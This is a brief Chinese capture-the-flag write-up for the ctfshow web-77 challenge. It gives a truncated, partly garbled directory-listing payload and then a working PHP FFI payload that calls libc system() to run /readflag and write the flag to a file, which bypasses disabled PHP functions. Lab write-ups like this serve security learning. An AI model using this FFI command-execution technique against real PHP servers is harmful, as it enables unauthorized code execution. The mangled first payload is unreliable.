ctfshow web-77

开启环境:

ctfshow web-77_第1张图片

先直接用伪协议获取 flag 位置。

c=?>__toString().' ');} exit(0); ?>

ctfshow web-77_第2张图片

 发现 flag36x.txt 文件。同时根目录下还有 readflag,估计需要调用 readflag 获取 flag。

c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);
ctfshow web-77_第3张图片

访问 1.txt 即可获取 flag。 

ctfshow web-77_第4张图片

$ffi = FFI::cdef("int system(const char *command);");  //创建一个system对象
$a='/readflag > 1.txt';  //因为页面不会回显,所以将内容输出到1.txt
$ffi->system($a);  //通过$ffi去调用system函数 
 

你可能感兴趣的:(前端,php)